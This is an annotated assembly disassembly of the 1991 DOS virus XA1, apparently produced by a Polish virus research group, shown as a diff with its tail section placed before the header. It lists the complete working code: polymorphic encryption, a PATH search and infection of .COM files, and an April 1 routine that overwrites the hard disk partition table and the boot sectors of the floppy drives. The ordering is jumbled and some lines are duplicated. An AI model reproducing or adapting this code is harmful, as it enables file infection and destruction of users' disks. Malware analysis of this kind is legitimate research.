0634 EB24 jmp 065A ; write asciiz string pointed by BX
|
||||
0636 90 nop
|
||||
|
||||
0637 E80000 call 063A
|
||||
|
||||
063A 5B pop bx
|
||||
063B 83C30D add bx,000D
|
||||
063E 8CC8 mov ax,cs
|
||||
0640 8ED8 mov ds,ax
|
||||
0642 E81500 call 065A ; write string
|
||||
0645 EBFE jmp 0645 ; hang CPU
|
||||
|
||||
0647 41 70 72 69 6C 2C 20 41 April, A
|
||||
064F 70 72 69 6C 20 2E 2E 2E pril ...
|
||||
0657 20 07 00
|
||||
|
||||
;-----------------------------------
|
||||
; write asciiz string pointed by BX
|
||||
|
||||
065A 8A07 mov al,[bx] ; get character
|
||||
065C 43 inc bx ; next character
|
||||
065D 0AC0 or al,al ; and of string?
|
||||
065F 7405 je 0666 ; yes, RET
|
||||
|
||||
0661 E80300 call 0667 ; write character
|
||||
0664 EBF4 jmp 065A ; get next character
|
||||
0666 C3 ret
|
||||
|
||||
;--------------------
|
||||
; write character TTL
|
||||
|
||||
0667 52 push dx
|
||||
0668 51 push cx
|
||||
0669 53 push bx
|
||||
066A 32FF xor bh,bh
|
||||
066C B40E mov ah,0E
|
||||
066E CD10 int 10
|
||||
0670 5B pop bx
|
||||
0671 59 pop cx
|
||||
0671 59 pop cx
|
||||
0672 5A pop dx
|
||||
0673 C3 ret
|
||||
|
||||
0674 55 6E 64 20 65 72 20 6C Und er l
|
||||
067C 65 62 74 20 64 6F 63 68 ebt doch
|
||||
0684 20 6E 6F 63 68 20 3A 20 noch :
|
||||
068C 44 65 72 20 54 61 6E 6E Der Tann
|
||||
0694 65 6E 62 61 75 6D 20 21 enbaum !
|
||||
069C 0D 0A 00 46 72 6F 68 65 Frohe
|
||||
06A4 20 57 65 69 68 6E 61 63 Weihnac
|
||||
06AC 68 74 65 6E 20 2E 2E 2E hten ...
|
||||
06B4 0D 0A 07 00
|
||||
|
||||
;------------------------------------------
|
||||
; write one sector to disk specified in DL
|
||||
; track 9, side 0 sector 1
|
||||
|
||||
06B8 32F6 xor dh,dh
|
||||
06BA B90100 mov cx,0001
|
||||
06BD BB3706 mov bx,0637
|
||||
06C0 B80103 mov ax,0301
|
||||
06C3 CD13 int 13
|
||||
06C5 C3 ret
|
||||
|
||||
;==================
|
||||
; INT 24h handler
|
||||
|
||||
06C6 B000 mov al,00
|
||||
06C8 CF iret
|
||||
|
||||
; table of bytes for changing encrypt routine
|
||||
|
||||
06C9 5E 00 0F 43
|
||||
06CD 5E 30 0F 43
|
||||
06D1 5E D2 07 43
|
||||
06D5 76 00 0C 46
|
||||
06D9 76 30 0C 46
|
||||
06DD 76 D2 04 46
|
||||
06E1 7E 00 0D 47
|
||||
06E5 7E 30 0D 47
|
||||
06E9 7E D2 05 47
|
||||
|
||||
; table for variants of decrypt routine
|
||||
|
||||
06ED 28 30 D2
|
||||
|
||||
; part of victime code
|
||||
|
||||
06F0 F3A4 rep movsb
|
||||
06F2 8BF1 mov si,cx
|
||||
06F4 8BF9 mov di,cx
|
||||
06F6 C3 ret
|
||||
|
||||
06F7 0307 ; offset of buffer/modified code
|
||||
06F9 DB63 ; file size + 256
|
||||
06FB C603 ;
|
||||
06FD 0306 ;
|
||||
06FF 0060 ; file date
|
||||
0701 710E ; file time
|
||||
|
||||
@@ -0,0 +1,909 @@
|
||||
;==============================================
|
||||
; Virus XA1 isolated in Poland in June 1991
|
||||
;
|
||||
; disassembled by Andrzej Kadlof July 1991
|
||||
;
|
||||
; (C) Polish Section of Virus Information Bank
|
||||
;==============================================
|
||||
|
||||
; virus entry point
|
||||
|
||||
0100 EB07 jmp 0109
|
||||
|
||||
0102 56 0A 03 59 00 ; first 7 bytes forms virus signature
|
||||
0107 2A 00 ; generation counter, never used (?)
|
||||
|
||||
; prepare stack for tricks
|
||||
; stack usage:
|
||||
; [BP + 2] cleared but not used
|
||||
; [BP + 0] offset in block
|
||||
; [BP - 2] low byte of size of decrypted part and encryption key
|
||||
|
||||
0109 0E push cs ; make free space on stack
|
||||
010A E80000 call 010D ; put current offset on the stack
|
||||
010D FA cli ; disable interrupt to safe stack
|
||||
010E 8BEC mov bp,sp
|
||||
0110 58 pop ax
|
||||
0111 32C0 xor al,al
|
||||
0113 894602 mov [bp+02],ax ; corrupt debbuger return address ??
|
||||
0116 8146002800 add word ptr [bp],0028 ; offset of first byte to encrypt
|
||||
|
||||
; encrypt virus code, this routine is changed in different virus copies
|
||||
|
||||
011B B9CE05 mov cx,05CE ; length of decrypted block
|
||||
011E B08C mov al,8C ; 8C is changed!
|
||||
0120 8846FF mov [bp-01],al
|
||||
0123 8B5E00 mov bx,[bp] ; current position in block
|
||||
; ^^ changed, possible 3 wariants:
|
||||
; ..5E.. mov bx,[bp] versions 0, 1, 2
|
||||
; ..76.. mov si,[bp] versions 3, 4, 5
|
||||
; ..7E.. mov di,[bp] versions 6, 7, 8
|
||||
|
||||
0126 884EFE mov [bp-02],cl ; low byte of counter
|
||||
0129 8A4EFF mov cl,[bp-01] ; encrypt key
|
||||
012C D207 rol byte ptr [bx],cl ; byte manipulation
|
||||
; ^^^^ changed, possible 9 wariants:
|
||||
; 000F add byte ptr [bx],cl version 0
|
||||
; 300F xor byte ptr [bx],cl version 1
|
||||
; D2O7 rol byte ptr [bx],cl version 2
|
||||
; 000C add byte ptr [si],cl version 3
|
||||
; 300C xor byte ptr [si],cl version 4
|
||||
; D204 rol byte ptr [si],cl version 5
|
||||
; 000D add byte ptr [di],cl version 6
|
||||
; 300D xor byte ptr [di],cl version 7
|
||||
; D205 rol byte ptr [di],cl version 8
|
||||
|
||||
012E EB00 jmp 0130 ; short pause
|
||||
0130 43 inc bx ; position in block
|
||||
; ^^ changed, possible 3 wariants:
|
||||
; 43 inc bx version 0, 1, 2
|
||||
; 46 inc si version 3, 4, 5
|
||||
; 47 inc di version 6, 7, 8
|
||||
|
||||
0131 8A4EFE mov cl,[bp-02] ; restore block size
|
||||
0134 E2F0 loop 0126 ; offset is decrypted!
|
||||
|
||||
; encrypted part
|
||||
|
||||
0136 FB sti
|
||||
|
||||
; get address of curent DTA and store it on the stack
|
||||
|
||||
0137 B42F mov ah,2F
|
||||
0139 CD21 int 21
|
||||
013B 06 push es
|
||||
013C 53 push bx
|
||||
|
||||
; get keyboard status bits
|
||||
|
||||
013D 33C0 xor ax,ax
|
||||
013F 8ED8 mov ds,ax
|
||||
0141 A01704 mov al,[0417]
|
||||
0144 2410 and al,10 ; extract scroll lock state
|
||||
0146 50 push ax ; store
|
||||
0147 80261704EF and byte ptr [0417],EF ; clear scroll lock flag
|
||||
|
||||
; restore DS
|
||||
|
||||
014C 8CC8 mov ax,cs
|
||||
014E 8ED8 mov ds,ax
|
||||
|
||||
; intercepte INT 24h
|
||||
|
||||
0150 BAC606 mov dx,06C6
|
||||
0153 B82425 mov ax,2524 ; set interrupt vector
|
||||
0156 CD21 int 21
|
||||
|
||||
; search for PATH= in environment block
|
||||
|
||||
0158 A12C00 mov ax,[002C] ; segment of environment block
|
||||
015B 8EC0 mov es,ax
|
||||
015D 33FF xor di,di ; begin of environment block
|
||||
015F FC cld
|
||||
|
||||
0160 26803D00 cmp es:byte ptr [di],00 ; end of block marker
|
||||
0164 741D je 0183 ; end fo block
|
||||
|
||||
0166 BE1B05 mov si,051B ; offset of string 'PATH='
|
||||
0169 B90500 mov cx,0005 ; length of string
|
||||
016C 8BC7 mov ax,di ; starting address
|
||||
016E F3A6 rep cmpsb ; compare
|
||||
0170 7411 je 0183 ; found
|
||||
|
||||
0172 8BF8 mov di,ax ; last starting point
|
||||
0174 32C0 xor al,al
|
||||
0176 B5FF mov ch,FF ; maximum block size
|
||||
0178 F2AE repnz scasb
|
||||
017A 74E4 je 0160
|
||||
|
||||
017C BF1A05 mov di,051A ; end of buffer for path
|
||||
017F 8CC8 mov ax,cs ; restore ES
|
||||
0181 8EC0 mov es,ax
|
||||
0183 C706C1056205 mov word ptr [05C1],0562
|
||||
|
||||
; set local DTA
|
||||
|
||||
0189 BA3605 mov dx,0536
|
||||
018C B41A mov ah,1A ; set DTA
|
||||
018E CD21 int 21
|
||||
|
||||
0190 A1F906 mov ax,[06F9]
|
||||
0193 A3F706 mov [06F7],ax
|
||||
0196 A1FD06 mov ax,[06FD]
|
||||
0199 A3FB06 mov [06FB],ax
|
||||
019C B90500 mov cx,0005 ; counter of potential victims
|
||||
019F BA1505 mov dx,0515 ; '*.COM', 0
|
||||
01A2 06 push es
|
||||
01A3 57 push di
|
||||
01A4 51 push cx
|
||||
|
||||
01A5 8CC8 mov ax,cs
|
||||
01A7 8EC0 mov es,ax
|
||||
01A9 B9FFFF mov cx,FFFF ; all possible attributes
|
||||
01AC B44E mov ah,4E ; find first
|
||||
01AE EB06 jmp 01B6
|
||||
|
||||
01B0 59 pop cx ; restore counter
|
||||
01B1 E35B jcxz 020E ; limit reached, check show/destruction
|
||||
|
||||
01B3 B44F mov ah,4F ; find next
|
||||
01B5 51 push cx ; store counter
|
||||
|
||||
01B6 CD21 int 21
|
||||
01B8 7203 jb 01BD ; continue
|
||||
|
||||
01BA E9F100 jmp 02AE
|
||||
|
||||
; restore address of path in environment block
|
||||
|
||||
01BD 59 pop cx
|
||||
01BE 5F pop di
|
||||
01BF 07 pop es
|
||||
|
||||
01C0 26803D00 cmp es:byte ptr [di],00 ; end of block?
|
||||
01C4 744A je 0210 ; yes
|
||||
|
||||
; copy path to buffer
|
||||
|
||||
01C6 BB6205 mov bx,0562 ; offset of buffer
|
||||
|
||||
01C9 268A05 mov al,es:[di] ; next character
|
||||
01CC 0AC0 or al,al ; end of block?
|
||||
01CE 740A je 01DA ; yes
|
||||
|
||||
01D0 47 inc di
|
||||
01D1 3C3B cmp al,3B ; ';', end of path?
|
||||
01D3 7405 je 01DA ; yes
|
||||
|
||||
01D5 8807 mov [bx],al ; copy character
|
||||
01D7 43 inc bx ; increase pointer
|
||||
01D8 EBEF jmp 01C9 ; get next character
|
||||
|
||||
01DA 81FB6205 cmp bx,0562 ; buffer not empty?
|
||||
01DE 74E0 je 01C0 ; empty
|
||||
|
||||
01E0 8A47FF mov al,[bx-01]
|
||||
01E3 3C3A cmp al,3A ; ':', root directory
|
||||
01E5 7408 je 01EF ; yes
|
||||
|
||||
01E7 3C5C cmp al,5C ; check last character, '\'
|
||||
01E9 7404 je 01EF ; there is
|
||||
|
||||
01EB C6075C mov byte ptr [bx],5C ; add '\'
|
||||
01EE 43 inc bx ; pointer to last character
|
||||
01EF 06 push es
|
||||
01F0 57 push di
|
||||
01F1 51 push cx
|
||||
01F2 891EC105 mov [05C1],bx ; store it
|
||||
01F6 8BF3 mov si,bx
|
||||
01F8 81EB6205 sub bx,0562 ; find path length
|
||||
01FC 8BCB mov cx,bx
|
||||
01FE BF1405 mov di,0514 ; destination buffer
|
||||
0201 8CC8 mov ax,cs ; restore ES
|
||||
0203 8EC0 mov es,ax
|
||||
0205 4E dec si
|
||||
0206 FD std
|
||||
0207 F3A4 rep movsb ; copy
|
||||
0209 8BD7 mov dx,di
|
||||
020B 42 inc dx
|
||||
020C EB97 jmp 01A5 ; find first
|
||||
|
||||
; end of infection proces, check condition for destruction/show
|
||||
|
||||
020E 58 pop ax ; balance stack
|
||||
020F 58 pop ax
|
||||
|
||||
0210 8CC8 mov ax,cs ; restore ES
|
||||
0212 8EC0 mov es,ax
|
||||
|
||||
; get date
|
||||
|
||||
0214 B42A mov ah,2A ; get date
|
||||
0216 CD21 int 21
|
||||
|
||||
0218 81FA0104 cmp dx,0401 ; April 1?
|
||||
021C 7533 jne 0251 ; no
|
||||
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
;
|
||||
; DESTRUCTION OF HARD DISK AND FLOPPIES IN A: AND B:
|
||||
;
|
||||
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
|
||||
|
||||
; copy partition table to sector 11h of side 0, track 0
|
||||
|
||||
021E BA8000 mov dx,0080 ; first hard drive
|
||||
0221 B90100 mov cx,0001 ; track 0 sector 1 (partition table)
|
||||
0224 BB0307 mov bx,0703 ; destroy victim code
|
||||
0227 B80102 mov ax,0201 ; read 1 sector
|
||||
022A 52 push dx
|
||||
022B 51 push cx
|
||||
022C 53 push bx
|
||||
022D CD13 int 13 ; disk I/O
|
||||
022F 5B pop bx
|
||||
0230 59 pop cx
|
||||
0231 5A pop dx
|
||||
0232 B111 mov cl,11 ; new place for partition table
|
||||
0234 B80103 mov ax,0301 ; write partition table
|
||||
0237 CD13 int 13
|
||||
|
||||
; set and of sector marker in the buffer
|
||||
|
||||
0239 C706350855AA mov word ptr [0835],AA55 ; end of sector marker
|
||||
|
||||
; overwrite partition table
|
||||
|
||||
023F B280 mov dl,80
|
||||
0241 E87404 call 06B8 ; write one sector to disk
|
||||
|
||||
; overwrite boot sector of drive A:
|
||||
|
||||
0244 32D2 xor dl,dl
|
||||
0246 E86F04 call 06B8 ; write one sector do disk
|
||||
|
||||
; overwrite boot sector of drive B:
|
||||
|
||||
0249 B201 mov dl,01
|
||||
024B E86A04 call 06B8 ; write disk
|
||||
|
||||
024E EB0A jmp 025A
|
||||
0250 90 nop
|
||||
|
||||
; compare date
|
||||
|
||||
0251 81FA180C cmp dx,0C18 ; december 24?
|
||||
0255 7203 jb 025A ; date earlier
|
||||
|
||||
;<><><><<><><><><><><><><><><><><><><><>
|
||||
;
|
||||
; CHRISTMAS SHOW
|
||||
;
|
||||
; see the description of subroutine 05D7
|
||||
;<><><><><><><><><><><><><><><><><><><><><>
|
||||
|
||||
0257 E87D03 call 05D7 ; drow christmas tree
|
||||
|
||||
; make sound
|
||||
|
||||
025A E440 in al,40
|
||||
025C 3CF8 cmp al,F8
|
||||
025E 7206 jb 0266
|
||||
|
||||
0260 E461 in al,61
|
||||
0262 0C03 or al,03
|
||||
0264 E661 out 61,al
|
||||
|
||||
; restore the state of scroll lock flag
|
||||
|
||||
0266 33C0 xor ax,ax
|
||||
0268 8ED8 mov ds,ax
|
||||
026A 58 pop ax
|
||||
026B 08061704 or [0417],al
|
||||
|
||||
; restore INT 24h
|
||||
|
||||
026F 2E8E1E1400 mov ds,cs:[0014] ; segment of INT 24h in PSP
|
||||
0274 2E8B161200 mov dx,cs:[0012] ; offset of INT 24h in PSP
|
||||
0279 B82425 mov ax,2524 ; set interrupt vector
|
||||
027C CD21 int 21
|
||||
|
||||
; restore DTA
|
||||
|
||||
027E 5A pop dx
|
||||
027F 1F pop ds
|
||||
0280 B41A mov ah,1A ; set DTA
|
||||
0282 CD21 int 21
|
||||
|
||||
; restore DS
|
||||
|
||||
0284 8CC8 mov ax,cs
|
||||
0286 8ED8 mov ds,ax
|
||||
|
||||
0288 BEF006 mov si,06F0
|
||||
028B 8B3EF706 mov di,[06F7]
|
||||
028F 033EFB06 add di,[06FB]
|
||||
0293 57 push di
|
||||
0294 B90700 mov cx,0007
|
||||
0297 FC cld
|
||||
0298 F3A4 rep movsb
|
||||
029A 33C0 xor ax,ax
|
||||
029C 8BD8 mov bx,ax
|
||||
029E 8BD0 mov dx,ax
|
||||
02A0 8BE8 mov bp,ax
|
||||
|
||||
02A2 8B36F706 mov si,[06F7]
|
||||
02A6 BF0001 mov di,0100
|
||||
02A9 8B0EFB06 mov cx,[06FB]
|
||||
02AD C3 ret
|
||||
|
||||
02AE BE5405 mov si,0554 ; file name in FCB
|
||||
02B1 8B3EC105 mov di,[05C1] ; address of destination
|
||||
02B5 B90D00 mov cx,000D ; length of asciiz string
|
||||
02B8 FC cld
|
||||
02B9 F3A4 rep movsb ; copy
|
||||
02BB BF2005 mov di,0520 ; buffer for file name
|
||||
02BE E8FA01 call 04BB ; copy
|
||||
02C1 7503 jne 02C6
|
||||
|
||||
02C3 E9EAFE jmp 01B0 ; find next/destruct/show
|
||||
|
||||
02C6 BF2B05 mov di,052B
|
||||
02C9 E8EF01 call 04BB ; copy file name
|
||||
02CC 7503 jne 02D1
|
||||
|
||||
02CE E9DFFE jmp 01B0 ; find next/destruct/show
|
||||
|
||||
02D1 C606610500 mov byte ptr [0561],00
|
||||
02D6 90 nop
|
||||
02D7 F6064B0507 test byte ptr [054B],07 ; attribute byte in DTA
|
||||
02DC 740F je 02ED ; hiden, system or read only, open file
|
||||
|
||||
02DE BA6205 mov dx,0562 ; file name
|
||||
02E1 33C9 xor cx,cx ; clear all attributes
|
||||
02E3 B80143 mov ax,4301 ; set file attributes
|
||||
02E6 CD21 int 21
|
||||
02E8 7303 jnb 02ED ; open file
|
||||
|
||||
02EA E9C3FE jmp 01B0 ; find next/destruct/show
|
||||
|
||||
02ED BA6205 mov dx,0562
|
||||
02F0 B8023D mov ax,3D02 ; open file for read/write
|
||||
02F3 CD21 int 21
|
||||
|
||||
02F5 8BD8 mov bx,ax ; handle
|
||||
02F7 7303 jnb 02FC
|
||||
|
||||
02F9 E9B4FE jmp 01B0 ; find next
|
||||
|
||||
; check file size
|
||||
|
||||
02FC A15205 mov ax,[0552] ; high word of file size in DTA
|
||||
02FF 0BC0 or ax,ax
|
||||
0301 7403 je 0306 ; file below 64K
|
||||
|
||||
0303 E99001 jmp 0496 ; close file and find next
|
||||
|
||||
0306 A15005 mov ax,[0550] ; lower word of file size
|
||||
0309 3D0700 cmp ax,0007 ; minimum file size
|
||||
030C 72F5 jb 0303 ; close file and find next
|
||||
|
||||
030E 3D00F8 cmp ax,F800 ; maximum file size
|
||||
0311 73F0 jnb 0303 ; close file and find next
|
||||
|
||||
; mayby already infected?
|
||||
|
||||
0313 8B16F706 mov dx,[06F7] ; form address of bufer
|
||||
0317 0316FB06 add dx,[06FB]
|
||||
031B B90700 mov cx,0007 ; number of bytes
|
||||
031E 52 push dx
|
||||
031F 51 push cx
|
||||
0320 B43F mov ah,3F ; read file
|
||||
0322 CD21 int 21
|
||||
|
||||
0324 59 pop cx
|
||||
0325 5E pop si
|
||||
0326 7208 jb 0330 ; read error, close and find next
|
||||
|
||||
; compare first 7 bytes with own code
|
||||
|
||||
0328 BF0001 mov di,0100 ; destination
|
||||
032B FC cld
|
||||
032C F3A6 rep cmpsb
|
||||
032E 7503 jne 0333
|
||||
|
||||
0330 E96301 jmp 0496 ; close file and find next, (infected!)
|
||||
|
||||
; get and store file date and time
|
||||
|
||||
0333 B80057 mov ax,5700 ; get file time stamp
|
||||
0336 CD21 int 21
|
||||
0338 72F6 jb 0330 ; close file, find next
|
||||
|
||||
033A 89160107 mov [0701],dx ; store date
|
||||
033E 890EFF06 mov [06FF],cx ; store time
|
||||
0342 C606610501 mov byte ptr [0561],01
|
||||
0347 90 nop
|
||||
|
||||
; check file size, if less than 603h bytes then append some garbage
|
||||
|
||||
0348 A15005 mov ax,[0550] ; file size
|
||||
034B 3D0306 cmp ax,0603
|
||||
034E 7321 jnb 0371
|
||||
|
||||
; file length is less than 603h, add some garbage
|
||||
|
||||
0350 33D2 xor dx,dx
|
||||
0352 33C9 xor cx,cx
|
||||
0354 B80242 mov ax,4202 ; move file ptr to EOF
|
||||
0357 CD21 int 21
|
||||
0359 7303 jnb 035E ; no errors, continue
|
||||
|
||||
035B E93801 jmp 0496 ; close file and find next
|
||||
|
||||
035E B90306 mov cx,0603 ; number of bytes
|
||||
0361 2B0E5005 sub cx,[0550] ; file size
|
||||
0365 B440 mov ah,40 ; write file
|
||||
0367 CD21 int 21
|
||||
0369 B80306 mov ax,0603 ; new file size
|
||||
036C 7303 jnb 0371
|
||||
|
||||
036E E92501 jmp 0496 ; close file and find next
|
||||
|
||||
; now file is at least 603h bytes long
|
||||
|
||||
0371 FEC4 inc ah
|
||||
0373 A3F906 mov [06F9],ax ; oryginal file size + 256
|
||||
0376 A15005 mov ax,[0550] ; file size
|
||||
0379 BE0306 mov si,0603 ; virus length
|
||||
037C 33FF xor di,di
|
||||
037E 3BC6 cmp ax,si
|
||||
0380 7302 jnb 0384
|
||||
|
||||
0382 8BF0 mov si,ax
|
||||
|
||||
0384 8936FD06 mov [06FD],si
|
||||
|
||||
0388 8BD7 mov dx,di
|
||||
038A 33C9 xor cx,cx
|
||||
038C B80042 mov ax,4200 ; move file ptr to BOF
|
||||
038F CD21 int 21
|
||||
0391 7303 jnb 0396
|
||||
|
||||
0393 E90001 jmp 0496 ; close file and find next
|
||||
|
||||
0396 8B16F706 mov dx,[06F7]
|
||||
039A 0316FB06 add dx,[06FB]
|
||||
039E B90002 mov cx,0200
|
||||
03A1 3BF1 cmp si,cx
|
||||
03A3 7302 jnb 03A7
|
||||
|
||||
03A5 8BCE mov cx,si ; number of bytes
|
||||
|
||||
03A7 52 push dx
|
||||
03A8 51 push cx
|
||||
03A9 B43F mov ah,3F ; read file
|
||||
03AB CD21 int 21
|
||||
03AD 59 pop cx
|
||||
03AE 5A pop dx
|
||||
03AF 7303 jnb 03B4 ; continue
|
||||
|
||||
03B1 E9E200 jmp 0496 ; close file and find next
|
||||
|
||||
03B4 52 push dx
|
||||
03B5 51 push cx
|
||||
03B6 33D2 xor dx,dx
|
||||
03B8 33C9 xor cx,cx
|
||||
03BA B80242 mov ax,4202 ; move file ptr to EOF
|
||||
03BD CD21 int 21
|
||||
03BF 59 pop cx
|
||||
03C0 5A pop dx
|
||||
03C1 7303 jnb 03C6 ; continue
|
||||
|
||||
03C3 E9D000 jmp 0496 ; close file and find next
|
||||
|
||||
03C6 B440 mov ah,40 ; write file
|
||||
03C8 CD21 int 21
|
||||
03CA 7303 jnb 03CF
|
||||
|
||||
03CC E9C700 jmp 0496 ; close file and find next
|
||||
|
||||
03CF 81C70002 add di,0200
|
||||
03D3 81EE0002 sub si,0200
|
||||
03D7 7602 jbe 03DB
|
||||
|
||||
03D9 EBAD jmp 0388
|
||||
|
||||
03DB FF060701 inc word ptr [0107] ; infection counter
|
||||
03DF 33D2 xor dx,dx
|
||||
03E1 33C9 xor cx,cx
|
||||
03E3 B80042 mov ax,4200 ; move file ptr to BOF
|
||||
03E6 CD21 int 21
|
||||
03E8 7303 jnb 03ED
|
||||
|
||||
03EA E9A900 jmp 0496 ; close file and find next
|
||||
|
||||
03ED 53 push bx ; store handle
|
||||
03EE E440 in al,40
|
||||
03F0 A807 test al,07
|
||||
03F2 74FA je 03EE
|
||||
|
||||
03F4 A21F01 mov [011F],al ; change decryption key
|
||||
|
||||
; get random number from system timer count
|
||||
|
||||
03F7 33C0 xor ax,ax
|
||||
03F9 8AF8 mov bh,al
|
||||
03FB 8ED8 mov ds,ax
|
||||
03FD A06C04 mov al,[046C] ; timer, low byte
|
||||
|
||||
0400 8CCA mov dx,cs ; restore DS
|
||||
0402 8EDA mov ds,dx
|
||||
|
||||
; generate rundom number in BX in the range 0..8
|
||||
|
||||
0404 B103 mov cl,03
|
||||
0406 F6F1 div cl ; AL <- AL/3, AH <- remainder
|
||||
0408 8AEC mov ch,ah ; store remainder (0, 1 or 2)
|
||||
040A 32E4 xor ah,ah ; prepare division
|
||||
040C F6F1 div cl ; AL <- AL / 9, AH <- remainder
|
||||
040E 8AC4 mov al,ah ; AL <- second remainder
|
||||
0410 02C0 add al,al ; *2, AL in [0..4]
|
||||
0412 02C4 add al,ah ; *3, AL in [0..6]
|
||||
0414 02C5 add al,ch ; first remainder
|
||||
0416 8AD8 mov bl,al ; BL in [0..8]
|
||||
|
||||
; multiply BX by 4 (table entry size)
|
||||
|
||||
0418 03DB add bx,bx
|
||||
041A 03DB add bx,bx
|
||||
041C 81C3C906 add bx,06C9 ; offset of table
|
||||
|
||||
; modify encryption routine (automodyfication)
|
||||
|
||||
0420 8A07 mov al,[bx]
|
||||
0422 A22401 mov [0124],al ; 3 versions 5E/76/7E
|
||||
0425 8B4701 mov ax,[bx+01]
|
||||
0428 A32C01 mov [012C],ax ; 9 wersions
|
||||
042B 8A4703 mov al,[bx+03] ; 3 versions
|
||||
042E A23001 mov [0130],al
|
||||
0431 8AC5 mov al,ch
|
||||
|
||||
; prepare decrypt routine
|
||||
|
||||
0433 BBED06 mov bx,06ED
|
||||
0436 D7 xlat
|
||||
0437 A26104 mov [0461],al ; modify decryption routine
|
||||
|
||||
; write new encryption routine to file
|
||||
|
||||
043A 5B pop bx ; restore handle
|
||||
043B BA0001 mov dx,0100 ; begin of file
|
||||
043E B93500 mov cx,0035 ; block size
|
||||
0441 B440 mov ah,40 ; write file
|
||||
0443 CD21 int 21
|
||||
0445 724F jb 0496 ; close file and find next
|
||||
|
||||
; decryption routine
|
||||
|
||||
0447 BE3501 mov si,0135 ; start of decrypted block
|
||||
044A B9CE05 mov cx,05CE ; size of decrypted block
|
||||
044D 53 push bx ; store handle
|
||||
044E 51 push cx
|
||||
044F B80002 mov ax,0200
|
||||
0452 8B1EF706 mov bx,[06F7]
|
||||
0456 031EFB06 add bx,[06FB]
|
||||
045A 53 push bx
|
||||
045B 8A0E1F01 mov cl,[011F] ; decription key
|
||||
|
||||
045F 8A2C mov ch,[si]
|
||||
0461 D2CD ror ch,cl ; <-- changed (3 variants)
|
||||
|
||||
; ^^ changed byte, possible wariants:
|
||||
; 28CD sub ch,cl versions: 0, 3, 6
|
||||
; 30CD xor ch,cl versions: 1, 4, 7
|
||||
; D2CD ror ch,cl versions: 2, 5, 8
|
||||
|
||||
0463 882F mov [bx],ch
|
||||
0465 43 inc bx
|
||||
0466 46 inc si
|
||||
0467 48 dec ax
|
||||
0468 75F5 jne 045F
|
||||
|
||||
046A 5A pop dx
|
||||
046B 59 pop cx
|
||||
046C 5B pop bx
|
||||
046D 51 push cx
|
||||
046E 81F90102 cmp cx,0201
|
||||
0472 7203 jb 0477
|
||||
|
||||
0474 B90002 mov cx,0200
|
||||
0477 B440 mov ah,40 ; write file
|
||||
0479 CD21 int 21
|
||||
047B 59 pop cx
|
||||
047C 7218 jb 0496 ; close file and find next
|
||||
|
||||
047E 81E90002 sub cx,0200
|
||||
0482 77C9 ja 044D
|
||||
|
||||
; restore file time stamp
|
||||
|
||||
0484 8B160107 mov dx,[0701] ; file date
|
||||
0488 8B0EFF06 mov cx,[06FF] ; file time
|
||||
048C B80157 mov ax,5701 ; set file time stamp
|
||||
048F CD21 int 21
|
||||
0491 7203 jb 0496 ; close file and find next
|
||||
|
||||
; decrease counter on the stack
|
||||
|
||||
0493 59 pop cx
|
||||
0494 49 dec cx
|
||||
0495 51 push cx
|
||||
|
||||
0496 B43E mov ah,3E ; close file
|
||||
0498 CD21 int 21
|
||||
049A 8A0E4B05 mov cl,[054B] ; attributes
|
||||
049E FE0E6105 dec byte ptr [0561]
|
||||
04A2 7405 je 04A9
|
||||
|
||||
04A4 F6C107 test cl,07 ; hidden, system, read only
|
||||
04A7 740F je 04B8
|
||||
|
||||
04A9 80F920 cmp cl,20 ; archive
|
||||
04AC 740A je 04B8
|
||||
|
||||
04AE BA6205 mov dx,0562 ; file name
|
||||
04B1 32ED xor ch,ch
|
||||
04B3 B80143 mov ax,4301 ; set file attributes
|
||||
04B6 CD21 int 21
|
||||
04B8 E9F5FC jmp 01B0 ; find next
|
||||
|
||||
;----------------------------------------
|
||||
; move 11 bytes do DS:DI ('C:\COMMAND.')
|
||||
|
||||
04BB BE6205 mov si,0562
|
||||
04BE B90B00 mov cx,000B
|
||||
04C1 FC cld
|
||||
04C2 F3A6 rep cmpsb
|
||||
04C4 C3 ret
|
||||
|
||||
; buffer for path
|
||||
|
||||
04C5 30 31 32 33 34 35 36 37 01234567
|
||||
04CD 38 39 30 31 32 33 34 35 89012345
|
||||
04D5 36 37 38 39 30 31 32 33 67890123
|
||||
04DD 34 35 36 37 38 39 30 31 45678901
|
||||
04E5 32 33 34 35 36 37 38 39 23456789
|
||||
04ED 30 31 32 33 34 35 36 37 01234567
|
||||
04F5 38 39 30 31 32 33 34 35 89012345
|
||||
04FD 36 37 38 43 3A 5C 4A 45 678C:\JE
|
||||
0505 5A 59 4B 49 43 3A 5C 50 ZYKIC:\P
|
||||
050D 43 44 3A 5C 55 43 3A 5C CD:\UC:\
|
||||
|
||||
; paterns for search
|
||||
|
||||
0515 2A 2E 43 4F 4D 00 50 41 *.COM PA
|
||||
051D 54 48 3D TH=
|
||||
|
||||
; buffers for file names
|
||||
|
||||
0520 49 42 4D 42 49 IBMBI
|
||||
0525 4F 2E 43 4F 4D 00 O.COM
|
||||
|
||||
052B 49 42 IB
|
||||
052D 4D 44 4F 53 2E 43 4F 4D MDOS.COM
|
||||
0535 00
|
||||
|
||||
; local DTA
|
||||
|
||||
0536 03 3F 3F 3F 3F 3F 3F ;\
|
||||
053D 3F 3F 43 4F 4D FF 02 00 ; | reserved
|
||||
0545 00 00 00 00 00 00 ;/
|
||||
054B 20 ; file attribute
|
||||
054C 00 60 71 0E ; file time stamp
|
||||
0550 DB 62 00 00 ; file size
|
||||
0554 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 00 ; file name (COMMAND.COM, 0, 0)
|
||||
|
||||
0561 01 ; flag: attributes are changed
|
||||
|
||||
0562 43 3A 5C C:\
|
||||
0565 43 4F 4D 4D 41 4E 44 2E COMMAND.
|
||||
056D 43 4F 4D 00 00 4D 00 00 COM M
|
||||
0575 00 2E 43 4F 4D 00 4F 68 .COM Oh
|
||||
057D 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
|
||||
0585 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
|
||||
058D 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
|
||||
0595 68 4E 6F 21 4F 68 4E 6F hNo!OhNo
|
||||
059D 21 4F 68 4E 6F 21 4F 68 !OhNo!Oh
|
||||
05A5 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
|
||||
05AD 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
|
||||
05B5 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
|
||||
05BD 68 4E 6F 21 hNo!
|
||||
|
||||
